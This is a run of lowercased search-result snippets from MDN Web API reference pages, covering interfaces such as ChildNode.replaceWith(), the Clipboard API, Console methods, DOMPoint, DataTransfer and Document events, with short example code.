... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssvalue" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssvalue</text></a><polyline points="81,25 91,2...
... specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvalueslist' in that specification.
Determining the dimensions of elements - Web APIs
there are several properties you can look at in order to determine the width and height of elements, and it can be tricky to determine which is the right one for your needs.
...in case of transforms, the offsetwidth and offsetheight returns the element's layout width and height, while getboundingclientrect() returns the rendering width and height.
... as an example, if the element has width: 100px; and transform: scale(0.5); the getboundingclientrect() will return 50 as the width, while offsetwidth will return 100.
ChildNode.replaceWith() - Web APIs
exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy.
... with(node) { replacewith("foo"); } // referenceerror: replacewith is not defined polyfill you can polyfill the replacewith() method in internet explorer 10+ and higher with the following code: function replacewithpolyfill() { 'use-strict'; // for safari, and ie > 10 var parent = this.parentnode, i = arguments.length, currentnode; if (!parent) return; if (!i) // if there are no arguments parent.removechild(this); while (i--) { // i-- decrements i and returns the value of i befo...
...urrentnode isn't the first parent.insertbefore(currentnode, this.nextsibling); } } if (!element.prototype.replacewith) element.prototype.replacewith = replacewithpolyfill; if (!characterdata.prototype.replacewith) characterdata.prototype.replacewith = replacewithpolyfill; if (!documenttype.prototype.replacewith) documenttype.prototype.replacewith = replacewithpolyfill; specification specification status comment domthe definition of 'childnode.replacewith()' in that specification.
ChildNode - Web APIs
WebAPIChildNode
the childnode mixin contains methods and properties that are common to all types of node objects that can have a parent.
... specifications specification status comment domthe definition of 'childnode' in that specification.
... element traversal specificationthe definition of 'elementtraversal' in that specification.
Client.frameType - Web APIs
WebAPIClientframeType
the frametype read-only property of the client interface indicates the type of browsing context of the current client.
... this value can be one of "auxiliary", "top-level", "nested", or "none".
... syntax var myframetype = client.frametype; example tbd specifications specification status comment service workersthe definition of 'frametype' in that specification.
Client.type - Web APIs
WebAPIClienttype
the type read-only property of the client interface indicates the type of client the service worker is controlling.
...the value can be one of "window" "worker" "sharedworker" example // service worker client (e.g.
...your message was: " + e.data); // let's also post the type value back to the client e.source.postmessage(e.source.type); }); specifications specification status comment service workersthe definition of 'type' in that specification.
Client - Web APIs
WebAPIClient
you can get client/windowclient objects from methods such as clients.matchall() and clients.get().
...it can be "window", "worker", or "sharedworker".
... specifications specification status comment service workersthe definition of 'client' in that specification.
Clients - Web APIs
WebAPIClients
examples the following example shows an existing chat window or creates a new one when the user clicks a notification.
... addeventlistener('notificationclick', event => { event.waituntil(async function() { const allclients = await clients.matchall({ includeuncontrolled: true }); let chatclient; // let's see if we already have a chat window open: for (const client of allclients) { const url = new url(client.url); if (url.pathname == '/chat/') { // excellent, let's use it!
... client.focus(); chatclient = client; break; } } // if we didn't find an existing chat window, // open a new one: if (!chatclient) { chatclient = await clients.openwindow('/chat/'); } // message the client: chatclient.postmessage("new chat messages!"); }()); }); specifications specification status comment service workersthe definition of 'clients' in that specification.
Clipboard.read() - Web APIs
WebAPIClipboardread
unlike readtext(), the read() method can return arbitrary data, such as images.
... this method can also return text.
... specifications specification status comment clipboard api and eventsthe definition of 'read()' in that specification.
Clipboard.readText() - Web APIs
the "clipboard-read" permission of the permissions api must be granted before you can read data from the clipboard.
...you can write text to the clipboard using writetext().
... navigator.clipboard.readtext().then( cliptext => document.getelementbyid("outbox").innertext = cliptext); specifications specification status comment clipboard api and eventsthe definition of 'readtext()' in that specification.
Clipboard.writeText() - Web APIs
the "clipboard-write" permission of the permissions api, is granted automatically to pages when they are in the active tab.
...the promise is rejected if the caller does not have permission to write to the clipboard.
... navigator.clipboard.writetext("<empty clipboard>").then(function() { /* clipboard successfully set */ }, function() { /* clipboard write failed */ }); specifications specification status comment clipboard api and eventsthe definition of 'writetext()' in that specification.
ClipboardEvent() - Web APIs
the clipboardevent() constructor returns a newly created clipboardevent, representing an event providing information related to modification of the clipboard, that is cut, copy, and paste events.
...it is case-sensitive and can be: 'copy', 'cut', or 'paste'.
... specifications specification status comment clipboard api and eventsthe definition of 'clipboardevent()' in that specification.
CompositionEvent.CompositionEvent() - Web APIs
compositioneventinit optional a compositioneventinit dictionary object, which can contain the following members: data initializes the data attribute of the compositionevent object to the characters generated by the ime composition.
... note: the compositioneventinit dictionary inherits from the uieventinit dictionary, so can also accept members defined on there.
... specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'compositionevent()' in that specification.
Console.countReset() - Web APIs
examples for example, given code like this: let user = ""; function greet() { console.count(); return "hi " + user; } user = "bob"; greet(); user = "alice"; greet(); greet(); console.count(); console.countreset(); console output will look something like this: "default: 1" "default: 2" "default: 3" "default: 4" "default: 0" note that the call to console.counterreset() resets the value of the default counter to zero.
... if we pass the user variable as the label argument with the string "bob" to the first invocation of count(), and the string "alice" to the second: let user = ""; function greet() { console.count(user); return "hi " + user; } user = "bob"; greet(); user = "alice"; greet(); greet(); console.countreset("bob"); console.count("alice"); we will see output like this: "bob: 1" "alice: 1" "alice: 2" "bob: 0" "alice: 3" resetting the value of the counter "bob" only changes the value of that counter.
... specifications specification status comment console apithe definition of 'console.countreset()' in that specification.
Console.dir() - Web APIs
WebAPIConsoledir
the output is presented as a hierarchical listing with disclosure triangles that let you see the contents of child objects.
... in other words, console.dir() is the way to see all the properties of a specified javascript object in console by which the developer can easily get the properties of the object.
... specifications specification status comment console apithe definition of 'console.dir()' in that specification.
console.log() - Web APIs
WebAPIConsolelog
please be warned that if you log objects in the latest versions of chrome and firefox what you get logged on the console is a reference to the object, which is not necessarily the 'value' of the object at the moment in time you call console.log(), but it is the value of the object at the moment you open the console.
... notice: console.log prints the element in an html-like tree console.dir prints the element in a json-like tree specifically, console.log gives special treatment to dom elements, whereas console.dir does not.
... specifications specification status comment console apithe definition of 'console.log()' in that specification.
Console.profileEnd() - Web APIs
calling this api immediately after console.profile() can cause it to not work.
... to work around this, call it in a settimeout with at least 5ms delay.
... you can optionally supply an argument to name the profile.
Console.table() - Web APIs
WebAPIConsoletable
you can use the optional columns parameter to select a subset of columns to display: // an array of objects, logging only firstname function person(firstname, lastname) { this.firstname = firstname; this.lastname = lastname; } var john = new person("john", "smith"); var jane = new person("jane", "doe"); var emily = new person("emily", "jones"); console.table([john, jane, emily], ["firstname"]); ...
... sorting columns you can sort the table by a particular column by clicking on that column's label.
... specifications specification status comment console apithe definition of 'console.table()' in that specification.
Console.timeLog() - Web APIs
WebAPIConsoletimeLog
logs the current value of a timer that was previously started by calling console.time() to the console.
...in addition, the call to timeend() has the additional information, "timer ended" to make it obvious that the timer is no longer tracking time.
... specifications specification status comment console apithe definition of 'console.timelog()' in that specification.
ContentIndex.getAll() - Web APIs
category: optional a string defining the category of content.
... can be: '' an empty string, this is the default.
...s to the content const listelem = document.createelement('ul'); for (const entry of entries) { const listitem = document.createelement('li'); const anchorelem = document.createelement('a'); anchorelem.innertext = entry.title; anchorelem.setattribute('href', entry.url); listelem.append(listitem); } readinglistelem.append(listelem); } } specifications specification status comment unknownthe definition of 'getall' in that specification.
ConvolverNode.normalize - Web APIs
the normalize property of the convolvernode interface is a boolean that controls whether the impulse response from the buffer will be scaled by an equal-power normalization when the buffer attribute is set, or not.
...if normalize is set to false, then the convolution will be rendered with no pre-processing/scaling of the impulse response.
... convolver.normalize = false; // must be set before the buffer, to take effect convolver.buffer = concerthallbuffer; specifications specification status comment web audio apithe definition of 'normalize' in that specification.
Crypto.subtle - Web APIs
WebAPICryptosubtle
the crypto.subtle read-only property returns a subtlecrypto which can then be used to perform low-level cryptographic operations.
... syntax var crypto = crypto.subtle; value a subtlecrypto object you can use to interact with the web crypto api's low-level cryptography features.
... specifications specification status comment web cryptography apithe definition of 'crypto.subtle' in that specification.
Crypto - Web APIs
WebAPICrypto
it allows access to a cryptographically strong random number generator and to cryptographic primitives.
... crypto.getrandomvalues() fills the passed typedarray with cryptographically sound random values.
... specifications specification status comment web cryptography apithe definition of 'crypto' in that specification.
DOMException.code - Web APIs
WebAPIDOMExceptioncode
this field is used for historical reasons.
... specifications specification status comment web idlthe definition of 'code' in that specification.
... candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
DOMMatrix() - Web APIs
example this example creates a dommatrix to use as an argument for calling point.matrixtransform().
... var point = new dompoint(5, 4); var scalex = 2; var scaley = 3; var translatex = 12; var translatey = 8; var angle = math.pi / 2; var matrix = new dommatrix([ math.sin(angle) * scalex, math.cos(angle) * scalex, -math.sin(angle) * scaley, math.cos(angle) * scaley, translatex, translatey ]); var transformedpoint = point.matrixtransform(matrix); specifications specification status comment geometry interfaces module level 1the definition of 'dommatrix' in that specification.
... candidate recommendation initial definition.
DOMPoint.w - Web APIs
WebAPIDOMPointw
syntax var perspective = dompoint.w; value a double-precision floating-point value indicating the w perspective value for the point.
... specifications specification status comment geometry interfaces module level 1the definition of 'w' in that specification.
... candidate recommendation initial definition ...
DOMPoint.x - Web APIs
WebAPIDOMPointx
syntax var xpos = dompoint.x; value a double-precision floating-point value indicating the x coordinate's value for the point.
... specifications specification status comment geometry interfaces module level 1the definition of 'x' in that specification.
... candidate recommendation initial definition ...
DOMPoint.z - Web APIs
WebAPIDOMPointz
syntax var zpos = dompoint.z; value a double-precision floating-point value indicating the z coordinate's value for the point.
... specifications specification status comment geometry interfaces module level 1the definition of 'z' in that specification.
... candidate recommendation initial definition ...
DOMPointInit.w - Web APIs
WebAPIDOMPointInitw
syntax var dompointinit = { w: wperspective }; dompointinit.w = wperspective; var wperspective = dompointinit.w; value a double-precision floating-point value indicating the point's w perspective value.
... specifications specification status comment geometry interfaces module level 1the definition of 'w' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.toJSON() - Web APIs
return value a new dompointinit object whose properties are set to the values in the dompoint or dompointreadonly on which the method was called.
... var topleft = new dompoint(window.screenx, window.screeny); var pointjson = topleft.tojson(); specifications specification status comment geometry interfaces module level 1the definition of 'dompointreadonly.tojson()' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.w - Web APIs
syntax const perspective = somedompointreadonly.w value a double-precision floating-point value indicating the w perspective value for the point.
... specifications specification status comment geometry interfaces module level 1the definition of 'w' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.z - Web APIs
syntax const zpos = somedompointreadonly.z; value a double-precision floating-point value indicating the z coordinate's value for the point.
... specifications specification status comment geometry interfaces module level 1the definition of 'z' in that specification.
... candidate recommendation initial definition ...
DOMQuad - Web APIs
WebAPIDOMQuad
it has a handy bounds attribute returning a domrectreadonly for those cases where you just want an axis-aligned bounding rectangle.
... specifications specification status comment geometry interfaces module level 1the definition of 'domquad' in that specification.
... candidate recommendation initial definition.
Binary strings - Web APIs
WebAPIDOMStringBinary
the size of the data so represented is twice as big as it would be in normal binary format, however this will not be visible to the final user, since the length of javascript strings is calculated using two bytes as the unit.
...however at least one native function requires binary strings as its input, btoa(): invoking it on a string that contains codepoints greater than 255 will cause a character out of range error.
... the reason that brought to use utf-16 code units as placeholders for uint8 numbers is that as web applications become more and more powerful (adding features such as audio and video manipulation, access to raw data using websockets, and so forth) it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
DOMString - Web APIs
WebAPIDOMString
passing null to a method or parameter accepting a domstring typically stringifies to "null".
... specifications specification status comment web idlthe definition of 'domstring' in that specification.
... candidate recommendation ...
DOMTimeStamp - Web APIs
the domtimestamp type represents an absolute or relative number of milliseconds, depending on the specification in which it appears.
... specifications specification status comment web idlthe definition of 'domtimestamp' in that specification.
... candidate recommendation initial specification ...
DataTransfer.files - Web APIs
this feature can be used to drag files from a user's desktop to the browser.
... example there are two live examples of this interface: firefox only: http://jsfiddle.net/9c2ef/ all browsers: https://jsbin.com/hiqasek/ specifications specification status comment html living standardthe definition of 'files' in that specification.
... living standard html 5.1the definition of 'files' in that specification.
DataTransfer.getData() - Web APIs
caveats data availability the html5 drag and drop specification dictates a drag data store mode.
... function drag(dragevent) { dragevent.datatransfer.setdata("text", dragevent.target.id); dragevent.target.style.color = 'green'; } function drop(dropevent) { dropevent.preventdefault(); var data = dropevent.datatransfer.getdata("text"); dropevent.target.appendchild(document.getelementbyid(data)); document.getelementbyid("drag").style.color = 'black'; } result specifications specification status comment html living standardthe definition of 'getdata()' in that specification.
... living standard html 5.1the definition of 'getdata()' in that specification.
DataTransfer.setData() - Web APIs
r the data ev.datatransfer.setdata("text/plain", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); // get the data, which is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // clear the drag data cache (for all formats/types) ev.datatransfer.cleardata(); } </script> <body> <h1>examples of <code>datatransfer</code>: <code>setdata()</code>, <code>getdata()</code>, <code>cleardata()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <di...
...v id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'setdata()' in that specification.
... living standard html 5.1the definition of 'setdata()' in that specification.
DataTransfer.types - Web APIs
some values that are not mime types are special-cased for legacy reasons (for example "text").
...pes</code>, <code>items</code>} properties</h1> <ul> <li id="i1" ondragstart="dragstart_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the drop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'types' in that specification.
... living standard html 5.1the definition of 'types' in that specification.
DataTransferItemList.add() - Web APIs
no type needs to be given in this case.
...handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status comment html living standardthe definition of 'add()' in that specification.
... living standard html 5.1the definition of 'add()' in that specification.
DataTransferItemList.remove() - Web APIs
exceptions invalidstateerror the drag data store is not in read/write mode, so the item can't be removed.
...e="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } specifications specification status comment html living standardthe definition of 'remove()' in that specification.
... living standard html 5.1the definition of 'remove()' in that specification.
DelayNode() - Web APIs
the delaynode() constructor of the web audio api creates a new delaynode object with a delay-line; an audionode audio-processing module that causes a delay between the arrival of an input data, and its propagation to the output.
...can contain the following members: delaytime: the initial delay time for the node, in seconds.
... example const audioctx = new audiocontext(); const delaynode = new delaynode(audioctx, { delaytime: 0.5, maxdelaytime: 2, }); specifications specification status comment web audio apithe definition of 'delaynode()' in that specification.
DeviceMotionEvent.accelerationIncludingGravity - Web APIs
unlike devicemotionevent.acceleration which compensates for the influence of gravity, its value is the sum of the acceleration of the device as induced by the user and the acceleration caused by gravity.
... this value is not typically as useful as devicemotionevent.acceleration, but may be the only value available on devices that aren't able of removing gravity from the acceleration data, such as on devices that don't have a gyroscope.
...each axis is represented with its own property: x represents the acceleration upon the x axis which is the west to east axis y represents the acceleration upon the y axis which is the south to north axis z represents the acceleration upon the z axis which is the down to up axis specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEventAcceleration: x - Web APIs
summary this read-only property indicates the amount of acceleration that occurred along the x axis in a devicemotioneventacceleration object.
... syntax var xaccel = devicemotioneventacceleration.x; return value x a double indicating the amount of acceleration along the x axis.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration: x' in that specification.
DeviceMotionEventAcceleration: y - Web APIs
summary this read-only property indicates the amount of acceleration that occurred along the y axis in a devicemotioneventacceleration object.
... syntax var yaccel = devicemotioneventacceleration.y; return value y a double indicating the amount of acceleration along the y axis.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration: y' in that specification.
DeviceMotionEventAcceleration: z - Web APIs
summary this read-only property indicates the amount of acceleration that occurred along the z axis in a devicemotioneventacceleration object.
... syntax var zaccel = devicemotioneventacceleration.z; return value z a double indicating the amount of acceleration along the z axis.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration: z' in that specification.
DeviceMotionEventRotationRate: alpha - Web APIs
this property indicates the rate of rotation around the z axis -- in degrees per second -- in a devicemotioneventrotationrate object.
... return value alpha a double indicating the rate of rotation around the z axis, in degrees per second.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate: alpha' in that specification.
DeviceMotionEventRotationRate: beta - Web APIs
this property indicates the rate of rotation around the x axis -- in degrees per second -- in a devicemotioneventrotationrate object.
... return value beta a double indicating the rate of rotation around the x axis, in degrees per second.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate: beta' in that specification.
DeviceMotionEventRotationRate: gamma - Web APIs
this property indicates the rate of rotation around the y axis -- in degrees per second -- in a devicemotioneventrotationrate object.
... return value gamma a double indicating the rate of rotation around the y axis, in degrees per second.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate: gamma' in that specification.
Document.anchors - Web APIs
WebAPIDocumentanchors
chors[i].name; newanchor.innerhtml = document.anchors[i].text; li.appendchild(newanchor); toc.appendchild(li); } } </script> </head> <body onload="init()"> <h1>title</h1> <h2><a name="contents">contents</a></h2> <ul id="toc"></ul> <h2><a name="plants">plants</a></h2> <ol> <li>apples</li> <li>oranges</li> <li>pears</li> </ol> <h2><a name="veggies">veggies</a></h2> <ol> <li>carrots</li> <li>celery</li> <li>beats</li> </ol> </body> </html> view on jsfiddle notes for reasons of backwards compatibility, the returned set of anchors only contains those anchors created with the name attribute, not those created with the id attribute.
... specifications specification status comment html living standardthe definition of 'document.anchors' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'document.anchors' in that specification.
Document: animationend event - Web APIs
bubbles yes cancelable no interface animationevent event handler property onanimationend the original target for this event is the element that had the animation applied.
... you can listen for this event on the document interface to handle it in the capture or bubbling phases.
... specifications specification status comment css animations working draft initial definition ...
Document: animationiteration event - Web APIs
bubbles yes cancelable no interface animationevent event handler property onanimationiteration the original target for this event is the element that had the animation applied.
... you can listen for this event on the document interface to handle it in the capture or bubbling phases.
... specifications specification status comment css animations working draft initial definition ...
Document.applets - Web APIs
WebAPIDocumentapplets
since then, calling document.applets in those browsers always returns an empty htmlcollection.
... example // when you know the second applet is the one you want my_java_app = document.applets[1]; specifications specification status comment html living standardthe definition of 'document.applets' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'document.applets' in that specification.
Document.body - Web APIs
WebAPIDocumentbody
specification specification status comment html living standardthe definition of 'document.body' in that specification.
... living standard html 5.1the definition of 'document.body' in that specification.
... recommendation html5the definition of 'document.body' in that specification.
Document: copy event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncopy the original target for this event is the element that was the intended target of the copy action.
... you can listen for this event on the document interface to handle it in the capture or bubbling phases.
... examples document.addeventlistener('copy', (event) => { console.log('copy action initiated') }); specifications specification status clipboard api and events working draft ...
Document.createCDATASection() - Web APIs
example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml') var cdata = docu.createcdatasection('some <cdata> data & then some'); docu.getelementsbytagname('xml')[0].appendchild(cdata); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><![cdata[some <cdata> data & then some]]></xml> notes this will only work with xml, not html documents (as html documents do not support cdata sections); attempting it on an html document will throw not_supported_err.
... will throw a ns_error_dom_invalid_character_err exception if one tries to submit the closing cdata sequence ("]]>") as part of the data, so unescaped user-provided data cannot be safely used without with this method getting this exception (createtextnode() can often be used in its place).
... specifications specification status comment domthe definition of 'document.createcdatasection' in that specification.
Document.createElementNS() - Web APIs
for backwards compatibility with previous versions of the custom elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name.
...although this is not an extremely useful xul document, it does demonstrate the use of elements from two different namespaces within a single document: <?xml version="1.0"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml" title="||working with elements||" onload="init()"> <script type="application/javascript"><![cdata[ let container; let newdiv; let txtnode; function init(){ container = document.getelementbyid("containerbox"); newdiv = document.createelementns("http://www.w3.org/1999/xhtml", "div"); txtnode = document.createtextnode("this is text that was constructed dynamically with createelementns and createtextnode then inserted into the document using appendchild."); ...
... specifications specification status comment domthe definition of 'document.createelementns()' in that specification.
Document.createExpression() - Web APIs
this method compiles an xpathexpression which can then be used for (repeated) evaluations.
... firefox 3 note prior to firefox 3, you could call this method on documents other than the one you planned to run the xpath against.
... under firefox 3, you must call it on the same document.
Document.createNSResolver() - Web APIs
notes adapts any dom node to resolve namespaces so that an xpath expression can be easily evaluated relative to the context of the node where it appeared within the document.
... this adapter works like the dom level 3 method lookupnamespaceuri on nodes in resolving the namespaceuri from a given prefix using the current information available in the node's hierarchy at the time lookupnamespaceuri is called.
... see also document.evaluate introduction to using xpath in javascript specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'document.creatensresolver' in that specification.
Document.createTextNode() - Web APIs
this method can be used to escape html characters.
...');">no!</button> <button onclick="addtextnode('we can!
... ');">we can!</button> <hr /> <p id="p1">first line of paragraph.</p> </body> </html> specifications specification status comment domthe definition of 'document: createtextnode' in that specification.
Document: cut event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncut the original target for this event is the element that was the intended target of the cut action.
... you can listen for this event on the document interface to handle it in the capture or bubbling phases.
... examples document.addeventlistener('cut', (event) => { console.log('cut action initiated') }); specifications specification status clipboard api and events working draft ...
Document.documentURIObject - Web APIs
for web content this property doesn't have any special meaning and can be used just like any other custom property.
... privileged code must be careful not to try getting or setting this property on a non-wrapped content object (e.g., on a wrappedjsobject of an xpcnativewrapper).
...} specifications not part of any specification.
Document: dragend event - Web APIs
the dragend event is fired when a drag operation is being ended (by releasing a mouse button or hitting the escape key).
... bubbles yes cancelable no default action varies interface dragevent event handler property ondragend examples see the drag event for example code or this jsfiddle demo.
... specifications specification status comment html living standardthe definition of 'dragend' in that specification.
Document: dragenter event - Web APIs
the target object is the immediate user selection (the element directly indicated by the user as the drop target), or the <body> element.
... bubbles yes cancelable yes default action reject immediate user selection as potential target element.
... specifications specification status comment html living standardthe definition of 'dragenter' in that specification.
Document.forms - Web APIs
WebAPIDocumentforms
note: similarly, you can access a list of a form's component user input elements using the htmlformelement.elements property.
...tle> </head> <body> <form name="login"> <input name="email" type="email"> <input name="password" type="password"> <button type="submit">log in</button> </form> <script> var loginform = document.forms.login; // or document.forms['login'] loginform.elements.email.placeholder = 'test@example.com'; loginform.elements.password.placeholder = 'password'; </script> </body> </html> specifications specification status comment html living standardthe definition of 'document.forms' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'document.forms' in that specification.
Document.fullscreen - Web APIs
note: since this property is deprecated, you can determine if full-screen mode is active on the document by checking to see if document.fullscreenelement is not null.
... function isdocumentinfullscreenmode() { return document.fullscreen; } this next example, on the other hand, uses the current fullscreenelement property to determine the same thing: function isdocumentinfullscreenmode() { return document.fullscreenelement !== null; } if fullscreenelement isn't null, this returns true, indicating that full-screen mode is in effect.
... specifications specification status comment fullscreen apithe definition of 'document.fullscreen' in that specification.
Document.fullscreenEnabled - Web APIs
the read-only fullscreenenabled property on the document interface indicates whether or not full-screen mode is available.
... syntax var isfullscreenavailable = document.fullscreenenabled; value a boolean value which is true if the document and the elements within can be placed into full-screen mode by calling element.requestfullscreen().
... function requestfullscreen() { if (document.fullscreenenabled) { videoelement.requestfullscreen(); } else { console.log('your browser cannot use fullscreen right now'); } } specifications specification status comment fullscreen apithe definition of 'document.fullscreenenabled' in that specification.
Document: fullscreenerror event - Web APIs
the fullscreenerror event is fired when the browser cannot switch to full-screen mode.
... bubbles yes cancelable no interface event event handler property onfullscreenerror as with the fullscreenchange event, two fullscreenerror events are fired; the first is sent to the element which failed to change modes, and the second is sent to the document which owns that element.
... examples const requestor = document.queryselector('div'); document.addeventlistener('fullscreenerror', (event) => { console.error('an error occurred changing into fullscreen'); console.log(event); }); requestor.requestfullscreen(); specifications specification status fullscreen api living standard ...
Document.hasFocus() - Web APIs
WebAPIDocumenthasFocus
the hasfocus() method of the document interface returns a boolean value indicating whether the document or any element inside the document has focus.
... this method can be used to determine whether the active element in a document has focus.
...ocument has the focus.'; body.style.background = '#fff'; } else { log.textcontent = 'this document does not have the focus.'; body.style.background = '#ccc'; } } function openwindow() { window.open('https://developer.mozilla.org/', 'mdn', 'width=640,height=320,left=150,top=150'); } // check page focus every 300 milliseconds setinterval(checkpagefocus, 300); result specification specification status comment html living standardthe definition of 'document.hasfocus()' in that specification.
Document.head - Web APIs
WebAPIDocumenthead
specifications specification status comment html 5.1the definition of 'document.head' in that specification.
... recommendation html5the definition of 'document.head' in that specification.
... recommendation html living standardthe definition of 'document.head' in that specification.
Document.images - Web APIs
WebAPIDocumentimages
usage notes you can use either javascript array notation or the item() method on the returned collection to access the items in the collection.
... var ilist = document.images; for(var i = 0; i < ilist.length; i++) { if(ilist[i].src == 'banner.gif') { // found the banner } } specifications specification status comment html living standardthe definition of 'document.images' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'document.images' in that specification.
Document: keypress event - Web APIs
since this event has been deprecated, you should look to use beforeinput or keydown instead.
... interface keyboardevent bubbles yes cancelable yes default action varies: keypress event; launch text composition system; blur and focus events; domactivate event; other event examples addeventlistener keypress example this example logs the keyboardevent.code value whenever you press a key.
... <p>press inside this iframe first to focus it, then try pressing keys on the keyboard.</p> <p id="log"></p> const log = document.getelementbyid('log'); document.addeventlistener('keypress', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeypress equivalent document.onkeypress = logkey; specifications specification status ui events working draft ...
Document.mozSyntheticDocument - Web APIs
the document.mozsyntheticdocument property indicates whether or not the document is a synthetic one; that is, a document representing a standalone image, video, audio, or the like.
... example this can be useful if you have a contextual menu item you only want to display for synthetic documents (or, conversely, for documents that aren't synthetic).
... var issynthetic = document.mozsyntheticdocument; if (issynthetic) { /* insert your menu item here */ } specifications not part of any specification.
Document.onafterscriptexecute - Web APIs
it does not fire if the element is added dynamically, such as with appendchild().
... syntax document.onafterscriptexecute = funcref; funcref is a function reference, called when the event is fired.
... example function finished(e) { logmessage(`finished script with id: ${e.target.id}`); } document.addeventlistener('afterscriptexecute', finished, true); view live example specification html5 ...
Document.onbeforescriptexecute - Web APIs
does not fire if the element is added dynamically, eg with appendchild().
... syntax document.onbeforescriptexecute = funcref; funcref is a function reference, called when the event is fired.
... example function starting(e) { logmessage("starting script with id: " + e.target.id); } document.addeventlistener("beforescriptexecute", starting, true); view live examples specification html5 ...
Document.onfullscreenchange - Web APIs
syntax targetdocument.onfullscreenchange = fullscreenchangehandler; value an event handler which is invoked whenever the document receives a fullscreenchange event, indicating that the document is transitioning into or out of full-screen mode.
...if it's null, the event indicates a transition out of full-screen mode.
... example document.onfullscreenchange = function ( event ) { console.log("full screen change") }; document.documentelement.onclick = function () { // requestfullscreen() must be in an event handler or it will fail document.documentelement.requestfullscreen(); } specifications specification status comment fullscreen apithe definition of 'onfullscreenchange' in that specification.
Document: paste event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property onpaste the original target for this event is the element that was the intended target of the paste action.
... you can listen for this event on the document interface to handle it in the capture or bubbling phases.
... examples document.addeventlistener('paste', (event) => { console.log('paste action initiated') }); specifications specification status clipboard api and events working draft ...
Document: pointerdown event - Web APIs
for touch, it is fired when physical contact is made with the digitizer.
... for pen, it is fired when the stylus makes physical contact with the digitizer.
... bubbles yes cancelable yes interface pointerevent event handler property onpointerdown examples using addeventlistener(): document.addeventlistener('pointerdown', (event) => { console.log('pointer down event'); }); using the onpointerdown event handler property: document.onpointerdown = (event) => { console.log('pointer down event'); }; specifications specification status pointer events obsolete ...
Document.queryCommandEnabled() - Web APIs
notes for 'cut' and 'copy' commands the method only returns true when called from a user-initiated thread.
... the 'paste' command return false not only if the feature is unavailable, but also if the script calling it has insufficient privileges to perform the action.
... example var flg = document.querycommandenabled("selectall"); if(flg) { document.execcommand("selectall", false, null); // command is enabled, run it } specifications specification status comment execcommand ...
Document.referrer - Web APIs
WebAPIDocumentreferrer
because this property returns only a string, it doesn't give you document object model (dom) access to the referring page.
... inside an <iframe>, the document.referrer will initially be set to the same value as the href of the parent window's window.location.
... specifications specification status comment html living standardthe definition of 'document.referrer' in that specification.
Document.registerElement() - Web APIs
warning: document.registerelement() is deprecated in favor of customelements.define().
...the mytag variable holds a constructor that you can use to create a my-tag element in the document as follows: document.body.appendchild(new mytag()); this inserts an empty my-tag element that will be visible if you use the browser's developer tools.
... it will not be visible if you use the browser's view source capability.
Document: scroll event - Web APIs
bubbles yes cancelable no interface event event handler property onscroll note: in ios uiwebviews, scroll events are not fired while scrolling is taking place; they are only fired after the scrolling has completed.
... examples scroll event throttling since scroll events can fire at a high rate, the event handler shouldn't execute computationally expensive operations such as dom modifications.
... specifications specification status css object model (cssom) view module working draft ...
Document: transitionrun event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property ontransitionrun the original target for this event is the element that had the transition applied.
